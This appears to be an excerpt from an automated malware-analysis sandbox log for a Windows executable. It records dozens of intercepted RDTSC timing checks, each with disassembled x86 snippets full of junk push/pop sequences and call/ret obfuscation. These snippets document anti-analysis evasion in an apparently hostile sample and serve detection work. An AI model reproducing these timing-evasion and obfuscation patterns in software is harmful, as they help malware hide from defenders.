Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFCB4 second address: FAFD12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F55D8D59B98h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 or edi, 1042F335h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007F55D8D59B98h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 push 00000000h 0x00000046 mov edi, dword ptr [ebp+122D29E0h] 0x0000004c xchg eax, esi 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 jne 00007F55D8D59B96h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE025 second address: FAE029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFD12 second address: FAFD32 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jl 00007F55D8D59B96h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007F55D8D59B9Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFD32 second address: FAFD36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB0D0D second address: FB0D11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFF97 second address: FAFF9C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFF9C second address: FAFFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F55D8D59B96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2E00 second address: FB2E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3E9F second address: FB3ED4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F55D8D59BA7h 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2E04 second address: FB2E0E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F55D8C2E5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2E0E second address: FB2E15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5D7A second address: FB5D80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5D80 second address: FB5DA3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F55D8D59BAAh 0x00000008 jmp 00007F55D8D59BA4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5DA3 second address: FB5DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F55D8C2E601h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5DBB second address: FB5DBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4F3E second address: FB4F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4F44 second address: FB4F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBCEA5 second address: FBCEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8C2E5FAh 0x00000009 jp 00007F55D8C2E5F6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pushad 0x00000012 jnp 00007F55D8C2E613h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBCEC4 second address: FBCEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8D59BA7h 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0A34 second address: FC0A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0BAF second address: FC0BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8D59BA7h 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC63FF second address: FC6424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F55D8C2E5FEh 0x00000011 jnp 00007F55D8C2E5F6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC50B second address: FCC515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F55D8D59B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC515 second address: FCC519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC519 second address: FCC521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC521 second address: FCC52A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0B6 second address: FCB0CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F55D8D59B9Ah 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F55D8D59B96h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0CF second address: FCB0DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F55D8C2E5F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0DD second address: FCB0F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59B9Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB0F1 second address: FCB101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8C2E5FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB7B0 second address: FCB7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB7B4 second address: FCB7B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBEB0 second address: FCBEBA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC04D second address: FCC051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC356 second address: FCC36C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F55D8D59B9Bh 0x00000008 jnc 00007F55D8D59B96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC36C second address: FCC372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC372 second address: FCC381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0CAD second address: FD0CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD043F second address: FD0452 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F55D8D59B98h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b jg 00007F55D8D59B96h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1402 second address: FD1406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1406 second address: FD141D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD141D second address: FD144E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F55D8C2E5F6h 0x0000000b pop ecx 0x0000000c push esi 0x0000000d jno 00007F55D8C2E5F6h 0x00000013 jmp 00007F55D8C2E605h 0x00000018 pop esi 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ebx 0x0000001c pushad 0x0000001d push edx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD144E second address: FD1456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63ABD second address: F63AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F63AC1 second address: F63AC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6AA9 second address: FD6AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8C2E5FFh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6AC3 second address: FD6AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6AC9 second address: FD6ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6ACD second address: FD6AE7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c jnl 00007F55D8D59B98h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83767 second address: F8376B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8376B second address: F83781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59B9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B597 second address: F5B59D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B59D second address: F5B5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B5A3 second address: F5B5AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B5AE second address: F5B5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDA0C2 second address: FDA0DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E601h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE676 second address: FDE6A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59B9Dh 0x00000007 jmp 00007F55D8D59BA6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007F55D8D59B9Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C08F second address: F9C0B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E609h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnc 00007F55D8C2E5F8h 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C6FF second address: F9C715 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jo 00007F55D8D59BA0h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C78A second address: F9C78E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C78E second address: F9C7EB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 45A61B3Dh 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F55D8D59B98h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c sub dword ptr [ebp+122D18D2h], ebx 0x00000032 jmp 00007F55D8D59B9Eh 0x00000037 mov ecx, dword ptr [ebp+122D2D23h] 0x0000003d push CE5C7237h 0x00000042 push eax 0x00000043 push edx 0x00000044 jg 00007F55D8D59B98h 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C8BD second address: F9C8D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E604h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CCE9 second address: F9CCEF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D0D4 second address: F9D0ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F55D8C2E604h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D0ED second address: F9D108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007F55D8D59B9Fh 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D108 second address: F9D14B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F55D8C2E5F8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 mov ch, 3Dh 0x00000025 push 0000001Eh 0x00000027 push ecx 0x00000028 mov dh, ch 0x0000002a pop ecx 0x0000002b mov dword ptr [ebp+122D1D37h], ebx 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F55D8C2E5FDh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D55A second address: F9D5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jg 00007F55D8D59BA8h 0x0000000c jmp 00007F55D8D59BA2h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F55D8D59B98h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c or dword ptr [ebp+122D2626h], ebx 0x00000032 lea eax, dword ptr [ebp+1247DE50h] 0x00000038 mov edi, dword ptr [ebp+122D27FCh] 0x0000003e sub dword ptr [ebp+124763A4h], eax 0x00000044 push eax 0x00000045 push ebx 0x00000046 push esi 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D5B4 second address: F83767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+122D2186h], eax 0x0000000f mov dword ptr [ebp+1244D897h], ecx 0x00000015 lea eax, dword ptr [ebp+1247DE0Ch] 0x0000001b mov dx, bx 0x0000001e push eax 0x0000001f ja 00007F55D8C2E610h 0x00000025 mov dword ptr [esp], eax 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F55D8C2E5F8h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 0000001Ah 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 sub dword ptr [ebp+122D1869h], edx 0x00000048 mov dword ptr [ebp+122D32F5h], edi 0x0000004e call dword ptr [ebp+122D1D66h] 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD840 second address: FDD84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F55D8D59B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD84A second address: FDD86B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F55D8C2E5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jp 00007F55D8C2E5F6h 0x00000016 popad 0x00000017 push edi 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jo 00007F55D8C2E5F6h 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD86B second address: FDD875 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F55D8D59B9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDDED second address: FDDDF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDDF1 second address: FDDE3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F55D8D59BA9h 0x0000000e pop edx 0x0000000f jmp 00007F55D8D59B9Bh 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F55D8D59BA9h 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE2B2 second address: FDE2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE994F second address: FE9960 instructions: 0x00000000 rdtsc 0x00000002 je 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF032C second address: FF0330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0330 second address: FF033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F55D8D59B96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF033E second address: FF0342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEE82 second address: FEEEA0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F55D8D59B9Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEEA0 second address: FEEEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF017 second address: FEF01B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF01B second address: FEF02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F55D8C2E5F6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF167 second address: FEF17C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F55D8D59B9Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF17C second address: FEF180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF2BD second address: FEF2CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F55D8D59B96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF2CC second address: FEF2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF2D2 second address: FEF2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
